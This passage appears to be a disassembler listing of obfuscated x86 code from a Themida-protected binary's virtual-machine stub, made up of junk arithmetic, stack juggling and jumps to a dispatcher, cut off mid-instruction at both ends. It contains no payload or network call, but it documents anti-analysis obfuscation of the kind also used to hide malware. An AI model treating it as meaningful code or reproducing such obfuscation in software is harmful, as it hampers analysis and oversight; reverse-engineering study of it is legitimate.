21CE5009h jmp loc_550F57 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5572D3: ; CODE XREF: Themida_:00550C0Bj mov [esp], ebp mov ebp, 644825C7h neg ebp shr ebp, 4 xor ebp, 22224519h mov ebx, ebp pop ebp jmp loc_55989F ; --------------------------------------------------------------------------- loc_5572EE: ; CODE XREF: Themida_:005528E5j xor [esp], ebx xor ebx, [esp] pop esp jmp loc_553564 ; --------------------------------------------------------------------------- loc_5572FA: ; CODE XREF: Themida_:00559DD0j pop ecx jmp loc_554A49 ; --------------------------------------------------------------------------- loc_557300: ; CODE XREF: Themida_:00550FE0j pop eax xor al, dl mov edx, [esp] add esp, 4 jmp loc_5522D6 ; --------------------------------------------------------------------------- loc_55730E: ; CODE XREF: Themida_:005536C7j push esp jmp loc_54F5FF ; --------------------------------------------------------------------------- loc_557314: ; CODE XREF: Themida_:00557152j mov ebx, [esp] add esp, 4 or eax, eax jnz loc_54F8D9 push 3053h mov [esp], eax mov eax, 1 push eax push dword ptr [esp] pop edx push edi mov edi, esp push ebp mov ebp, 4 sub edi, 22103288h add edi, ebp add edi, 22103288h pop ebp push ecx mov ecx, 4 jmp loc_551C81 ; --------------------------------------------------------------------------- loc_55735A: ; CODE XREF: Themida_:005575B1j pop edx add edx, 22466F46h pop edi sub [esp+4], edx mov edx, [esp] sub esp, 4 mov [esp], eax jmp loc_54EDEC ; --------------------------------------------------------------------------- loc_557377: ; CODE XREF: Themida_:0055A940j sub eax, 4BBC6BB8h sub eax, 5D0B191Dh jmp loc_555EFE ; --------------------------------------------------------------------------- loc_557386: ; CODE XREF: Themida_:00557801j mov edx, 6C8B1DD1h jmp loc_55AAEC ; --------------------------------------------------------------------------- loc_557390: ; CODE XREF: Themida_:00557E47j and ecx, ebp push dword ptr [esp] jmp loc_55A27C ; --------------------------------------------------------------------------- loc_55739A: ; CODE XREF: Themida_:0054F610j push eax mov eax, 54A14CD8h push ebp mov ebp, 3B659AEh jmp loc_559483 ; --------------------------------------------------------------------------- loc_5573AB: ; CODE XREF: Themida_:005556EAj push ecx jmp loc_551D18 ; --------------------------------------------------------------------------- loc_5573B1: ; CODE XREF: Themida_:00553662j add edi, 0B96F2222h add ebp, 611C0A42h jmp loc_554B6F ; --------------------------------------------------------------------------- loc_5573C2: ; CODE XREF: Themida_:005521D4j push ebx mov ebx, 108011C5h jmp loc_55019B ; --------------------------------------------------------------------------- loc_5573CD: ; CODE XREF: Themida_:00556AFBj push dword ptr [eax] jmp loc_55606A ; --------------------------------------------------------------------------- loc_5573D4: ; CODE XREF: Themida_:00554222j mov ah, 8 or bl, ah pop ax jmp loc_557F2D ; --------------------------------------------------------------------------- loc_5573DF: ; CODE XREF: Themida_:0055AA99j push ecx push ebp mov ebp, 14F92C79h mov ecx, ebp pop ebp mov edx, ecx jmp loc_553699 ; --------------------------------------------------------------------------- mov ax, [esp] push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push ecx push eax jmp loc_55A390 ; --------------------------------------------------------------------------- loc_55740D: ; CODE XREF: Themida_:00554351j pop dword ptr [esp] mov esp, [esp] mov [esp], cx movzx cx, al jmp loc_54FA79 ; --------------------------------------------------------------------------- loc_557420: ; CODE XREF: Themida_:0055997Cj sub [esp], eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557429: ; CODE XREF: Themida_:005536E5j pop ecx add esp, 4 push edi push 5204h mov [esp], ebp jmp loc_556D22 ; --------------------------------------------------------------------------- loc_55743E: ; CODE XREF: Themida_:00554E75j sub esp, 4 mov [esp], ecx push eax mov al, 0EDh mov cl, 4Dh xor cl, al jmp loc_55A9EC ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_5531EC ; --------------------------------------------------------------------------- loc_55745A: ; CODE XREF: Themida_:00554E63j push ecx jmp loc_552F9F ; --------------------------------------------------------------------------- loc_557460: ; CODE XREF: Themida_:005539A8j push 0 sub [esp], edx pop edx neg edx xor edx, 743F42DFh sub esi, edx pop edx push ebp mov ebp, 59B167EDh shl ebp, 2 or ebp, 15F514EEh or ebp, 0B210D89h and ebp, 7A12606h and ebp, 426A5415h push esi mov esi, 0C127941Ah sub ebp, esi pop esi sub esi, ebp pop ebp add esi, eax add esi, 40F86FEAh jmp loc_55781E ; --------------------------------------------------------------------------- lodsb sub al, 51h sub al, 4Bh jmp loc_552AAB ; --------------------------------------------------------------------------- loc_5574B8: ; CODE XREF: Themida_:005598EAj or eax, edx pop edx xor eax, 41730316h jmp loc_54F21B ; --------------------------------------------------------------------------- loc_5574C5: ; CODE XREF: Themida_:00555B42j mov [esp], edi jmp loc_5522DC ; --------------------------------------------------------------------------- loc_5574CD: ; CODE XREF: Themida_:005566C7j mov [esp], ecx mov ecx, 2FE236D5h xor esi, ecx pop ecx add esi, 7DEF3721h add esi, 7E8C5244h add ebp, esi jmp loc_554951 ; --------------------------------------------------------------------------- loc_5574EB: ; CODE XREF: Themida_:00554A61j sub ebp, 0E0A0AC4h jmp loc_5532A9 ; --------------------------------------------------------------------------- loc_5574F6: ; CODE XREF: Themida_:00550148j mov edi, eax pop eax push ebx mov ebx, 3C373D9Bh sub edi, ebx pop ebx jmp loc_551601 ; --------------------------------------------------------------------------- loc_557507: ; CODE XREF: Themida_:00551224j mov [esp], ecx push dword ptr [esp+4] jmp loc_551DE0 ; --------------------------------------------------------------------------- loc_557513: ; CODE XREF: Themida_:00556C6Fj add esp, 4 jmp loc_5514E0 ; --------------------------------------------------------------------------- loc_55751E: ; CODE XREF: Themida_:00555D0Ej pop esp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557524: ; CODE XREF: Themida_:0055A62Dj mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_558DCD ; --------------------------------------------------------------------------- loc_55753C: ; CODE XREF: Themida_:00554A6Cj neg edx and edx, 17E843D7h push ebp jmp loc_551D8C ; --------------------------------------------------------------------------- loc_55754A: ; CODE XREF: Themida_:005535B5j push small word ptr [esp+2] mov dx, [esp] push ebx mov ebx, esp jmp loc_5576E6 ; --------------------------------------------------------------------------- loc_55755B: ; CODE XREF: Themida_:005562CEj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557570: ; CODE XREF: Themida_:005580C1j add ebx, 0A7F1F20Ah and ebp, ebx pop ebx add ebp, 163A1542h mov ecx, ebp pop ebp sub eax, ecx mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 push esi mov esi, 78C82A0Eh jmp loc_54EEAB ; --------------------------------------------------------------------------- loc_55759B: ; CODE XREF: Themida_:00552112j mov esp, [esp] jmp loc_554E7F ; --------------------------------------------------------------------------- loc_5575A3: ; CODE XREF: Themida_:005591FBj xor edi, 7C9709C0h push edi sub dword ptr [esp], 22466F46h jmp loc_55735A ; --------------------------------------------------------------------------- loc_5575B6: ; CODE XREF: Themida_:00551D9Aj sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_55214A ; --------------------------------------------------------------------------- push 794Bh mov [esp], ebp push esp pop ebp push edx mov edx, 4ED11EA7h jmp loc_554FB3 ; --------------------------------------------------------------------------- loc_5575D8: ; CODE XREF: Themida_:00558AD4j add eax, 3A582C51h pop ebx pop edi push edx mov edx, 357A5A47h xor edx, 0E0C15D3h or edx, 338A4A98h not edx inc edx push eax mov eax, 1B0462D8h add eax, 0A55063Dh or edx, eax pop eax push eax mov eax, 5E20022Ch inc eax add eax, 292E1A15h jmp loc_553DEC ; --------------------------------------------------------------------------- loc_557613: ; CODE XREF: Themida_:00559DB9j push 7EEEh jmp loc_559B50 ; --------------------------------------------------------------------------- loc_55761D: ; CODE XREF: Themida_:00557EC1j pop esp mov [esp], ecx jmp loc_553155 ; --------------------------------------------------------------------------- loc_557626: ; CODE XREF: Themida_:00552DA6j push edi mov edi, esp push eax jmp loc_552579 ; --------------------------------------------------------------------------- loc_55762F: ; CODE XREF: Themida_:00550E8Fj add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_55A216 ; --------------------------------------------------------------------------- loc_557646: ; CODE XREF: Themida_:00550D00j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_551BE6 ; --------------------------------------------------------------------------- loc_55765F: ; CODE XREF: Themida_:00555E58j mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_558955 ; --------------------------------------------------------------------------- loc_557673: ; CODE XREF: Themida_:00553944j mov [esp], ecx mov ecx, 4000h and eax, ecx pop ecx shr eax, 0Eh xor eax, ecx xchg eax, edi push edi push esi push dword ptr [esp+4] jmp loc_5585B1 ; --------------------------------------------------------------------------- loc_55768F: ; CODE XREF: Themida_:00553759j sub bh, 0DAh xor ah, bh pop ebx push 39BEh jmp loc_557D2A ; --------------------------------------------------------------------------- loc_55769F: ; CODE XREF: Themida_:0055AAF0j inc esi jmp loc_55840C ; --------------------------------------------------------------------------- loc_5576A5: ; CODE XREF: Themida_:0054EEE3j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi mov esi, 4 sub ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_559BF3 ; --------------------------------------------------------------------------- loc_5576C9: ; CODE XREF: Themida_:0055A4E1j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5576DE: ; CODE XREF: Themida_:00550AC6j mov [esp], ebx jmp loc_551333 ; --------------------------------------------------------------------------- loc_5576E6: ; CODE XREF: Themida_:00557556j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi jmp loc_5582FD ; --------------------------------------------------------------------------- loc_5576FE: ; CODE XREF: Themida_:005567ADj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push 3ABh mov [esp], ecx sub esp, 4 jmp loc_55808A ; --------------------------------------------------------------------------- loc_55771A: ; CODE XREF: Themida_:00557017j mov [esp], edi mov edi, esp sub esp, 4 mov [esp], eax jmp loc_558482 ; --------------------------------------------------------------------------- loc_55772A: ; CODE XREF: Themida_:00558242j mov esi, 2D2F3101h and esi, 5F175B19h jmp loc_557DF4 ; --------------------------------------------------------------------------- mov cx, [esp] push 2412h mov [esp], edi mov edi, esp jmp loc_5536EA ; --------------------------------------------------------------------------- loc_55774D: ; CODE XREF: Themida_:0054F346j push edi jmp loc_5526A8 ; --------------------------------------------------------------------------- loc_557753: ; CODE XREF: Themida_:0055898Cj pop edx jmp loc_550EAE ; --------------------------------------------------------------------------- loc_557759: ; CODE XREF: Themida_:005580D0j add edi, 4 xchg edi, [esp] pop esp jmp loc_555BEE ; --------------------------------------------------------------------------- loc_557765: ; CODE XREF: Themida_:0054FA0Cj pop esp btc [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557771: ; CODE XREF: Themida_:00556F26j sub eax, 4 push 6F5Fh mov [esp], eax jmp loc_557B14 ; --------------------------------------------------------------------------- loc_557783: ; CODE XREF: Themida_:00552128j push edi push esp push dword ptr [esp] jmp loc_556448 ; --------------------------------------------------------------------------- loc_55778D: ; CODE XREF: Themida_:0055A0F7j mov ebx, 0D8A2EFDh sub ebx, 277F3869h and ebx, 4A8019B0h jmp loc_55A3C5 ; --------------------------------------------------------------------------- loc_5577A3: ; CODE XREF: Themida_:005539B1j push eax mov ah, 1 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_559D9B ; --------------------------------------------------------------------------- loc_5577BB: ; CODE XREF: Themida_:0055AA34j pop eax shl ebx, 7 push edi jmp loc_55AF09 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push ecx jmp loc_5500A5 ; --------------------------------------------------------------------------- loc_5577D0: ; CODE XREF: Themida_:0054F00Cj mov edx, 58C40AE6h push ecx mov ecx, 37B60793h sub edx, ecx jmp loc_554EA7 ; --------------------------------------------------------------------------- loc_5577E2: ; CODE XREF: Themida_:005531B0j pop esi mov eax, ecx mov ecx, [esp] add esp, 4 xor eax, ebx mov ebx, [esp] jmp loc_54FDC2 ; --------------------------------------------------------------------------- lodsd push ebp mov ebp, 5D071753h push esi push edx jmp loc_557386 ; --------------------------------------------------------------------------- loc_557806: ; CODE XREF: Themida_:00551354j add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_555F27 ; --------------------------------------------------------------------------- loc_55781E: ; CODE XREF: Themida_:005574A9j push edx mov edx, 5DC737Bh sub esp, 4 jmp loc_553CEC ; --------------------------------------------------------------------------- loc_55782C: ; CODE XREF: Themida_:00559B5Ej push ecx push 13C3h jmp loc_5508DB ; --------------------------------------------------------------------------- loc_557837: ; CODE XREF: Themida_:005546B0j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55783C: ; CODE XREF: Themida_:00556A60j pop esi xchg ecx, [esp] pop esp add eax, esi pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push 1655h mov [esp], edx jmp loc_5560E2 ; --------------------------------------------------------------------------- loc_55785B: ; CODE XREF: Themida_:00559466j or edi, 26340160h add edi, 0AE3DEF1Fh add ebx, 4C6213ECh add ebx, edi jmp loc_553FD4 ; --------------------------------------------------------------------------- loc_557874: ; CODE XREF: Themida_:00551D62j mov esi, esp push eax mov eax, esp jmp loc_554BC6 ; --------------------------------------------------------------------------- loc_55787E: ; CODE XREF: Themida_:00550803j or esi, edi jmp loc_558D70 ; --------------------------------------------------------------------------- loc_557885: ; CODE XREF: Themida_:0055AF7Aj pop eax jmp loc_5530E1 ; --------------------------------------------------------------------------- loc_55788B: ; CODE XREF: Themida_:0055ABBDj sub eax, esi jmp loc_55A435 ; --------------------------------------------------------------------------- lodsd push 4A1Eh mov [esp], eax push ebp mov ebp, 27AF3230h jmp loc_55A1C5 ; --------------------------------------------------------------------------- loc_5578A6: ; CODE XREF: Themida_:0055A1C0j push ebp mov ebp, 6B2D1CFAh add ebp, 0A8B711FCh or ebx, ebp pop ebp push eax mov eax, 32E877D6h inc eax add eax, 2BAE4CC2h jmp loc_5515B4 ; --------------------------------------------------------------------------- loc_5578C6: ; CODE XREF: Themida_:00551E0Aj add edx, ecx pop ecx xchg edx, [esp] pop esp push dword ptr [esp] pop edx push eax jmp loc_5554FC ; --------------------------------------------------------------------------- loc_5578D7: ; CODE XREF: Themida_:00550A66j mov ebp, edi jmp loc_5523CA ; --------------------------------------------------------------------------- loc_5578DE: ; CODE XREF: Themida_:00556898j pop edx add ebx, eax sub ebx, 21C667C2h add ebx, 77C220F0h xor edx, eax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5578F4: ; CODE XREF: Themida_:00555CC7j add [esp+4], ebx jmp loc_5581CF ; --------------------------------------------------------------------------- loc_5578FD: ; CODE XREF: Themida_:0054FA91j add edx, ecx add edx, 69F63A1Ch jmp loc_551E02 ; --------------------------------------------------------------------------- loc_55790A: ; CODE XREF: Themida_:0054EDEFj push eax mov eax, 53614B9Fh mov edx, eax pop eax shr edx, 4 and edx, 5DA40BB1h add edx, 62363E4Fh neg edx sub edx, 98A5C0FCh add eax, edx pop edx push edi mov edi, 62F75E2Ah jmp loc_55A61E ; --------------------------------------------------------------------------- loc_557938: ; CODE XREF: Themida_:0054F953j mov esi, [esp] add esp, 4 sub esi, 79D16285h mov edx, [esp] jmp loc_5527A9 ; --------------------------------------------------------------------------- loc_55794C: ; CODE XREF: Themida_:00552093j push edi mov edi, 4 mov esi, edi mov edi, [esp] push ecx mov ecx, esp jmp loc_556A52 ; --------------------------------------------------------------------------- loc_55795F: ; CODE XREF: Themida_:00553826j pop esi add esi, 1D1D5DC5h jmp loc_557DA0 ; --------------------------------------------------------------------------- loc_55796B: ; CODE XREF: Themida_:005524CFj push eax jmp loc_54FE3C ; --------------------------------------------------------------------------- loc_557971: ; CODE XREF: Themida_:005567B4j pop ecx xchg eax, [esp] jmp loc_55356F ; --------------------------------------------------------------------------- loc_55797A: ; CODE XREF: Themida_:005568D1j add al, bl sub al, 0E0h sub al, 1Dh sub al, 0ECh mov bx, [esp] add esp, 2 add bl, 60h push ax mov ah, 34h add bl, ah pop ax sub bl, 10h add bl, al add bl, 10h jmp loc_553200 ; --------------------------------------------------------------------------- loc_5579A1: ; CODE XREF: Themida_:00558735j sub esp, 4 mov [esp], eax push ecx mov ecx, 4 mov eax, ecx jmp loc_5597E5 ; --------------------------------------------------------------------------- loc_5579B4: ; CODE XREF: Themida_:005597A7j add edx, 170457D7h pop ebp sub ecx, 690B441Ch sub ecx, edx add ecx, 690B441Ch jmp loc_552061 ; --------------------------------------------------------------------------- loc_5579CE: ; CODE XREF: Themida_:0055A037j mov edi, 6AD92921h mov ecx, edi jmp loc_55B013 ; --------------------------------------------------------------------------- loc_5579DA: ; CODE XREF: Themida_:00556F14j add esp, 4 push 13EEh jmp loc_553030 ; --------------------------------------------------------------------------- loc_5579E7: ; CODE XREF: Themida_:00556EF0j mov edx, 5E7134BDh sub ebx, edx pop edx sub ebx, esi add ebx, 5E7134BDh mov esi, [esp] jmp loc_5510A2 ; --------------------------------------------------------------------------- loc_5579FF: ; CODE XREF: Themida_:00555A39j sub ecx, ebp jmp loc_5511AE ; --------------------------------------------------------------------------- loc_557A06: ; CODE XREF: Themida_:005533BDj xchg edx, [esp] mov esp, [esp] jmp loc_551622 ; --------------------------------------------------------------------------- loc_557A11: ; CODE XREF: Themida_:00553CE7j add esp, 4 xor al, bl mov ebx, [esp] add esp, 4 sub bl, 0ECh sub bl, al push 634Bh mov [esp], ecx mov cl, 45h jmp loc_55A0A8 ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp add edi, 4 push eax jmp loc_54F4C3 ; --------------------------------------------------------------------------- loc_557A46: ; CODE XREF: Themida_:00556476j pop ecx sub al, 24h sub al, dl add al, 24h add al, 0E3h mov edx, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi mov esi, esp jmp loc_55A810 ; --------------------------------------------------------------------------- loc_557A6F: ; CODE XREF: Themida_:00555B4Aj mov esp, [esp] jmp loc_550A3C ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax push 49E0h mov [esp], esp push edi jmp loc_555149 ; --------------------------------------------------------------------------- loc_557A8F: ; CODE XREF: Themida_:00556967j add ecx, edi sub ecx, 3BC9596Dh jmp loc_54EA79 ; --------------------------------------------------------------------------- loc_557A9C: ; CODE XREF: Themida_:005592C8j add dl, 0EBh push bx mov bh, 0B2h add dl, bh jmp loc_55A006 ; --------------------------------------------------------------------------- loc_557AAA: ; CODE XREF: Themida_:0055A350j add ebp, 4 jmp loc_555C54 ; --------------------------------------------------------------------------- loc_557AB5: ; CODE XREF: Themida_:0055985Fj pop ebx mov eax, [esp] push ecx jmp loc_559E2F ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_550263 ; --------------------------------------------------------------------------- loc_557AE2: ; CODE XREF: Themida_:00557F67j mov dh, 4Eh shr dh, 7 not dh add dh, 3 shr dh, 2 jmp loc_5513BD ; --------------------------------------------------------------------------- mov cx, [esp] push 58F6h mov [esp], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], eax push ecx jmp loc_55A52A ; --------------------------------------------------------------------------- loc_557B14: ; CODE XREF: Themida_:0055777Ej push dword ptr [esp+4] jmp loc_558DAB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557B2D: ; CODE XREF: Themida_:00553B66j mov ecx, 4F986D59h jmp loc_554356 ; --------------------------------------------------------------------------- loc_557B37: ; CODE XREF: Themida_:0055B116j pop esp jmp loc_555BF6 ; --------------------------------------------------------------------------- loc_557B3D: ; CODE XREF: Themida_:005524FFj mov [esp], edx jmp loc_553812 ; --------------------------------------------------------------------------- loc_557B45: ; CODE XREF: Themida_:00552B24j pop ecx xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 3497ADF9h jmp loc_5596F7 ; --------------------------------------------------------------------------- loc_557B59: ; CODE XREF: Themida_:00552EF3j mov [esp], esi jmp loc_54F305 ; --------------------------------------------------------------------------- loc_557B61: ; CODE XREF: Themida_:00552AD2j sub ecx, 40000E5Ah shr ecx, 4 add ecx, 0F7567573h jmp loc_5542C4 ; --------------------------------------------------------------------------- loc_557B75: ; CODE XREF: Themida_:0055717Ej xor ch, dh pop edx and ch, 0BEh neg ch add ch, 55h jmp loc_557E73 ; --------------------------------------------------------------------------- loc_557B85: ; CODE XREF: Themida_:00558D09j mov eax, 4 add ebx, eax mov eax, [esp] jmp loc_5532F4 ; --------------------------------------------------------------------------- loc_557B94: ; CODE XREF: Themida_:00555F22j add eax, esi pop esi push dword ptr [esp] pop ebx jmp loc_55A122 ; --------------------------------------------------------------------------- lodsd jmp loc_552EC7 ; --------------------------------------------------------------------------- loc_557BA6: ; CODE XREF: Themida_:0055AAFFj not bh xchg bh, al add al, 2Dh push edx jmp loc_55567D ; --------------------------------------------------------------------------- lodsd jmp loc_5526B2 ; --------------------------------------------------------------------------- loc_557BB8: ; CODE XREF: Themida_:00552D6Dj add esi, eax pop eax push edx push eax mov eax, 1CD72742h mov edx, 0E328D8C2h add edx, eax pop eax add esi, 1DB68D3h sub esi, edx sub esi, 1DB68D3h pop edx xchg esi, [esp] mov esp, [esp] mov [esp], eax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557BE7: ; CODE XREF: Themida_:00550250j or ebx, 245A1C70h push 6BB2h jmp loc_558930 ; --------------------------------------------------------------------------- loc_557BF7: ; CODE XREF: Themida_:005565A8j mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push eax mov eax, 20h add eax, edi add [eax], ebp pop eax pop ebp jmp loc_5584CB ; --------------------------------------------------------------------------- loc_557C24: ; CODE XREF: Themida_:00556A44j push eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp] mov esp, [esp] jmp loc_553148 ; --------------------------------------------------------------------------- loc_557C38: ; CODE XREF: Themida_:005549EEj pop dword ptr [eax] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557C3F: ; CODE XREF: Themida_:0055A2FEj sub eax, 4 xchg eax, [esp] pop esp jmp loc_5528A4 ; --------------------------------------------------------------------------- loc_557C4B: ; CODE XREF: Themida_:0055234Bj shr edi, 1 xor edi, 215865F0h jmp loc_557FB7 ; --------------------------------------------------------------------------- loc_557C58: ; CODE XREF: Themida_:0055170Cj push edi push eax mov eax, 3AF24980h jmp loc_55A78E ; --------------------------------------------------------------------------- loc_557C64: ; CODE XREF: Themida_:0054F290j add esi, edi pop edi xchg esi, [esp] jmp loc_5502A9 ; --------------------------------------------------------------------------- loc_557C6F: ; CODE XREF: Themida_:0055A082j push ebx mov ebx, 1AD7CF2Ah add esi, ebx pop ebx jmp loc_54F5DB ; --------------------------------------------------------------------------- loc_557C7D: ; CODE XREF: Themida_:0054FC35j push edi mov edi, 4 sub eax, 2FF26C7Fh add eax, edi add eax, 2FF26C7Fh pop edi push ebp jmp loc_5559DA ; --------------------------------------------------------------------------- loc_557C96: ; CODE XREF: Themida_:00558DA6j xor ecx, edx pop edx mov ebx, 0A50E7B0Fh push ecx mov ecx, 6DE947CEh add ebx, ecx pop ecx sub ebx, 53D85589h jmp loc_5541B8 ; --------------------------------------------------------------------------- loc_557CB2: ; CODE XREF: Themida_:00550940j push ecx mov ch, 6Bh dec ch jmp loc_553361 ; --------------------------------------------------------------------------- push 1B46h mov [esp], ebx push ebp push ebx mov ebx, 2A981BE7h mov ebp, ebx mov ebx, [esp] add esp, 4 push edx jmp loc_55AA6B ; --------------------------------------------------------------------------- loc_557CDC: ; CODE XREF: Themida_:00556FEFj pop eax jmp loc_556580 ; --------------------------------------------------------------------------- loc_557CE2: ; CODE XREF: Themida_:005542DEj mov ebp, [esp] add esp, 4 push ebp jmp loc_55647B ; --------------------------------------------------------------------------- loc_557CF1: ; CODE XREF: Themida_:005596DDj mov ecx, 76412526h or esi, ecx pop ecx push edx mov edx, 1E5B77ADh xor edx, 3A90208Bh jmp loc_550701 ; --------------------------------------------------------------------------- loc_557D0A: ; CODE XREF: Themida_:0054F781j xor ebp, 2D190512h jmp loc_559DA3 ; --------------------------------------------------------------------------- loc_557D15: ; CODE XREF: Themida_:00552A3Bj add al, 8Ah jmp loc_559B58 ; --------------------------------------------------------------------------- loc_557D1C: ; CODE XREF: Themida_:0054F2C5j pop esp mov [esp], ebp push 1 jmp loc_553581 ; --------------------------------------------------------------------------- loc_557D2A: ; CODE XREF: Themida_:0055769Aj mov [esp], ebx mov bh, ah mov dl, bh push dword ptr [esp] jmp loc_55025D ; --------------------------------------------------------------------------- loc_557D39: ; CODE XREF: Themida_:00556A86j add esp, 4 dec dword ptr [esp] pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557D48: ; CODE XREF: Themida_:0054FDB3j pop ebp add ebx, 0D0758DBh jmp loc_55A2C8 ; --------------------------------------------------------------------------- loc_557D54: ; CODE XREF: Themida_:00552B54j add ebx, 4 xchg ebx, [esp] jmp loc_5533F2 ; --------------------------------------------------------------------------- loc_557D62: ; CODE XREF: Themida_:0054FCF0j push ebx push eax mov eax, 76BE63BAh mov ebx, eax push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_551667 ; --------------------------------------------------------------------------- loc_557D8C: ; CODE XREF: Themida_:00550FA8j div ecx push ebp push 0EE4h mov [esp], esp add dword ptr [esp], 4 jmp loc_553589 ; --------------------------------------------------------------------------- loc_557DA0: ; CODE XREF: Themida_:00557966j pop ebx and eax, esi push dword ptr [esp] pop esi push 289Dh mov [esp], ebx mov ebx, esp push esi push edi mov edi, 6A101EFDh mov esi, edi pop edi inc esi xor esi, 2CE20094h sub esi, 13BE4F9Fh not esi xor esi, 70B5784Bh xor esi, 0BC79497Bh jmp loc_5599C0 ; --------------------------------------------------------------------------- loc_557DDB: ; CODE XREF: Themida_:00550434j sub esp, 4 mov [esp], eax mov eax, 6447345Ah jmp loc_55815E ; --------------------------------------------------------------------------- loc_557DEE: ; CODE XREF: Themida_:00550BB7j pop ebx jmp loc_552AD0 ; --------------------------------------------------------------------------- loc_557DF4: ; CODE XREF: Themida_:00557735j xor esi, 4A61029Eh shr esi, 5 sub esi, 1B0624BDh jmp loc_55A734 ; --------------------------------------------------------------------------- loc_557E08: ; CODE XREF: Themida_:0054F624j push edi jmp loc_5516F6 ; --------------------------------------------------------------------------- loc_557E0E: ; CODE XREF: Themida_:00555337j sub ecx, 58F4901Dh add esi, ecx jmp loc_54FD6E ; --------------------------------------------------------------------------- loc_557E1B: ; CODE XREF: Themida_:00559774j sub ebp, 24BBC070h sub ebx, ebp jmp loc_54F110 ; --------------------------------------------------------------------------- loc_557E28: ; CODE XREF: Themida_:00557E95j add esp, 4 jmp loc_552E01 ; --------------------------------------------------------------------------- loc_557E33: ; CODE XREF: Themida_:00552B47j add edi, 4 xchg edi, [esp] pop esp push 544Bh mov [esp], ebp mov ebp, 4 jmp loc_557390 ; --------------------------------------------------------------------------- loc_557E4C: ; CODE XREF: Themida_:00551A16j add ebx, ecx pop ecx sub esp, 4 mov [esp], ecx jmp loc_55198B ; --------------------------------------------------------------------------- loc_557E5D: ; CODE XREF: Themida_:005516BAj pop eax sub esp, 4 mov [esp], edx mov edx, 30935974h sub eax, 515424B6h jmp loc_552237 ; --------------------------------------------------------------------------- loc_557E73: ; CODE XREF: Themida_:00557B80j add dh, ch jmp loc_55A718 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push ebx mov ebx, 6F826FC6h xor [esp+4], ebx pop ebx mov eax, [esp] sub esp, 4 mov [esp], esi push esp mov esi, [esp] jmp loc_557E28 ; --------------------------------------------------------------------------- loc_557E9A: ; CODE XREF: Themida_:005546D8j neg ecx shr ecx, 5 sub ecx, 634F8CFh jmp loc_54EAD2 ; --------------------------------------------------------------------------- loc_557EAA: ; CODE XREF: Themida_:00553A1Aj add esp, 4 push small 417Fh mov [esp], dx jmp loc_5501F7 ; --------------------------------------------------------------------------- loc_557EBD: ; CODE XREF: Themida_:0054EBBEj pop ecx pop dword ptr [esp] jmp loc_55761D ; --------------------------------------------------------------------------- loc_557EC6: ; CODE XREF: Themida_:0055AC1Ej mov edi, [esp] push eax mov eax, esp add eax, 4 jmp loc_559093 ; --------------------------------------------------------------------------- loc_557ED6: ; CODE XREF: Themida_:00559BEEj and edx, 35452FBEh dec edx xor edx, 66B0831h push eax mov eax, 31ED1271h jmp loc_553328 ; --------------------------------------------------------------------------- loc_557EEE: ; CODE XREF: Themida_:0054ED0Cj push dword ptr [esp] pop edi add esp, 4 xchg eax, [esp] mov esp, [esp] mul cl movzx cx, ah push small 0CCDh mov [esp], cx movzx cx, al push cx pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_557F15: ; CODE XREF: Themida_:0055ADADj mov ecx, 73CD6D56h inc ecx sub ecx, 73CD6D53h jmp loc_553B9B ; --------------------------------------------------------------------------- loc_557F26: ; CODE XREF: Themida_:00555207j xor eax, edi jmp loc_557FD7 ; --------------------------------------------------------------------------- loc_557F2D: ; CODE XREF: Themida_:005573DAj or bl, 